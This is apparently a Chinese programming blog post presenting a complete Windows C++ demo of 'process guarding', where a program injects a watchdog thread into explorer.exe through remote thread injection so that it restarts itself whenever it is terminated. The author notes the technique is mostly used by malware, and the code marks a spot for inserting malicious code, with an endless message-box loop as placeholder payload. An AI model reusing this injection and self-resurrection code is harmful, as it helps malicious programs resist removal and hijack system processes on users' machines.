简介


所谓进程守护,就是A进程为了保护自己不被结束,创建了一个守护线程来保护自己,一旦被结束进程,便重新启动。进程守护的方法多被应用于恶意软件,是一个保护自己进程的一个简单方式,在ring3下即可轻松实现。而创建守护线程的方法多采用远程线程注入的方式,笔者之前曾介绍过远程线程注入的基本方式,主要分为
DLL远程注入 <https://blog.csdn.net/PeterZ1997/article/details/80339638>和无DLL远程注入
<https://blog.csdn.net/PeterZ1997/article/details/81844766>。



代码实现
////////////////////////////////////// // // FileName :
ProcessProtectorDemo.cpp // Creator : PeterZheng // Date : 2018/9/06 17:32 //
Comment : Process Protector // ////////////////////////////////////// #pragma
once #include <cstdio> #include <iostream> #include <cstdlib> #include
<string.h> #include <string> #include <strsafe.h> #include <Windows.h> #include
<tlhelp32.h> #include <vector> using namespace std; #define MAX_LENGTH 255
#pragma warning(disable:4996) //远程线程参数结构体 typedef struct _remoteTdParams {
LPVOID ZWinExec;// WinExec Function Address LPVOID ZOpenProcess; // OpenProcess
Function Address LPVOID ZWaitForSingleObject; // WaitForSingleObject Function
Address DWORD ZPid; // Param => Process id HANDLE ZProcessHandle; // Param =>
Handle CHAR filePath[MAX_LENGTH]; // Param => File Path }RemoteParam;
//本地线程参数结构体 typedef struct _localTdParams { CHAR remoteProcName[MAX_LENGTH];
DWORD localPid; DWORD remotePid; HANDLE hRemoteThread; }LocalParam;//字符串分割函数
BOOL SplitString(const string& s, vector<string>& v, const string& c) { string
::size_type pos1, pos2; pos2 = s.find(c); pos1 =0; while (string::npos != pos2)
{ v.push_back(s.substr(pos1, pos2 - pos1)); pos1 = pos2 + c.size(); pos2 =
s.find(c, pos1); }if (pos1 != s.length()) v.push_back(s.substr(pos1)); return
TRUE; }//远程线程函数体 (守护函数) DWORD WINAPI ThreadProc(RemoteParam *lprp) { typedef
UINT(WINAPI *ZWinExec)(LPCSTR lpCmdLine, UINT uCmdShow);typedef HANDLE(WINAPI
*ZOpenProcess)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
typedef DWORD(WINAPI *ZWaitForSingleObject)(HANDLE hHandle, DWORD
dwMilliseconds); ZWinExec ZWE; ZOpenProcess ZOP; ZWaitForSingleObject ZWFSO;
ZWE = (ZWinExec)lprp->ZWinExec; ZOP = (ZOpenProcess)lprp->ZOpenProcess; ZWFSO =
(ZWaitForSingleObject)lprp->ZWaitForSingleObject; lprp->ZProcessHandle =
ZOP(PROCESS_ALL_ACCESS, FALSE, lprp->ZPid); ZWFSO(lprp->ZProcessHandle,
INFINITE); ZWE(lprp->filePath, SW_SHOW);return 0; } //获取PID DWORD __cdecl
GetProcessID(CHAR *ProcessName) { PROCESSENTRY32 pe32; pe32.dwSize =sizeof
(pe32); HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if
(hProcessSnap == INVALID_HANDLE_VALUE)return 0; BOOL bProcess =
Process32First(hProcessSnap, &pe32);while (bProcess) { if (strcmp
(strupr(pe32.szExeFile), strupr(ProcessName)) ==0) return pe32.th32ProcessID;
bProcess = Process32Next(hProcessSnap, &pe32); } CloseHandle(hProcessSnap);
return 0; } //获取权限 int __cdecl EnableDebugPriv(const TCHAR *name) { HANDLE
hToken; TOKEN_PRIVILEGES tp; LUID luid;if
(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken))return 1; if (!LookupPrivilegeValue(NULL, name, &luid)) return 1;
tp.PrivilegeCount =1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid; if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof
(TOKEN_PRIVILEGES), NULL, NULL))return 1; return 0; } //线程注入函数 BOOL __cdecl
InjectProcess(const DWORD dwRemotePid, const DWORD dwLocalPid, HANDLE& hThread)
{if (EnableDebugPriv(SE_DEBUG_NAME)) return FALSE; HANDLE hWnd =
OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemotePid);if (!hWnd) return FALSE;
RemoteParam rp; ZeroMemory(&rp,sizeof(RemoteParam)); rp.ZOpenProcess =
(LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "OpenProcess"); rp.ZWinExec
= (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "WinExec");
rp.ZWaitForSingleObject = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"),
"WaitForSingleObject"); rp.ZPid = dwLocalPid; CHAR szPath[MAX_LENGTH] = "\0";
GetModuleFileName(NULL, szPath,sizeof(szPath)); StringCchCopy(rp.filePath,
sizeof(rp.filePath), szPath); RemoteParam *pRemoteParam = (RemoteParam
*)VirtualAllocEx(hWnd,0, sizeof(RemoteParam), MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);if (!pRemoteParam) return FALSE; if
(!WriteProcessMemory(hWnd, pRemoteParam, &rp,sizeof(RemoteParam), 0)) return
FALSE; LPVOID pRemoteThread = VirtualAllocEx(hWnd,0, 1024 * 4, MEM_COMMIT |
MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (!pRemoteThread) return FALSE; if
(!WriteProcessMemory(hWnd, pRemoteThread, &ThreadProc,1024 * 4, 0)) return
FALSE; hThread = CreateRemoteThread(hWnd, NULL,0,
(LPTHREAD_START_ROUTINE)pRemoteThread, (LPVOID)pRemoteParam,0, NULL); if
(!hThread)return FALSE; return TRUE; } //远程线程监控函数(本地线程函数) DWORD WINAPI
WatchFuncData(LPVOID lprarm) { HANDLE hRemoteThread =
((LocalParam*)lprarm)->hRemoteThread; DWORD dwLocalPid =
((LocalParam*)lprarm)->localPid; DWORD dwRemotePid =
((LocalParam*)lprarm)->remotePid; CHAR szRemoteProcName[MAX_LENGTH] ="\0";
StringCchCopy(szRemoteProcName,sizeof(szRemoteProcName),
((LocalParam*)lprarm)->remoteProcName); DWORD exitCode =0; while (TRUE) { if
(!hRemoteThread) InjectProcess(dwRemotePid, dwLocalPid, hRemoteThread);
GetExitCodeThread(hRemoteThread, &exitCode);if (exitCode^STILL_ACTIVE) {
WinExec(szRemoteProcName, SW_HIDE); dwRemotePid =
GetProcessID(szRemoteProcName); InjectProcess(dwRemotePid, dwLocalPid,
hRemoteThread); } Sleep(1000); } return 0; } //主函数 int WINAPI WinMain(_In_
HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine,
_In_int nShowCmd) { LocalParam lpLp; ZeroMemory(&lpLp, sizeof(LocalParam));
CHAR szRemoteProcName[MAX_LENGTH] ="\0"; CHAR szLocalProcName[MAX_LENGTH] = "\0"
; CHAR currentFilePath[MAX_LENGTH] ="\0"; vector<string> pathGroup;
GetModuleFileName(NULL, currentFilePath,sizeof(currentFilePath));
SplitString(currentFilePath, pathGroup,"\\"); StringCchCopy(szLocalProcName,
sizeof(szLocalProcName), pathGroup[pathGroup.size() - 1].c_str());
StringCchCopy(szRemoteProcName,sizeof(szRemoteProcName), "explorer.exe");
StringCchCopy(szLocalProcName,sizeof(szLocalProcName), szLocalProcName);
StringCchCopy(lpLp.remoteProcName,sizeof(lpLp.remoteProcName),
szRemoteProcName); DWORD dwRemotePid = GetProcessID(szRemoteProcName); DWORD
dwLocalPid = GetProcessID(szLocalProcName); HANDLE hThread = NULL;
lpLp.remotePid = dwRemotePid; lpLp.localPid = dwLocalPid; hThread =
CreateThread(NULL,0, WatchFuncData, LPVOID(&lpLp), 0, 0); //....插入恶意代码等工作流程
while (TRUE) { MessageBox(NULL, "Hello!!", "HAHA!! XDD", MB_OK); }
WaitForSingleObject(hThread, INFINITE);return 0; }

友情链接
KaDraw流程图
API参考文档
OK工具箱
云服务器优惠
阿里云优惠券
腾讯云优惠券
华为云优惠券
站点信息
问题反馈
邮箱:[email protected]
QQ群:637538335
关注微信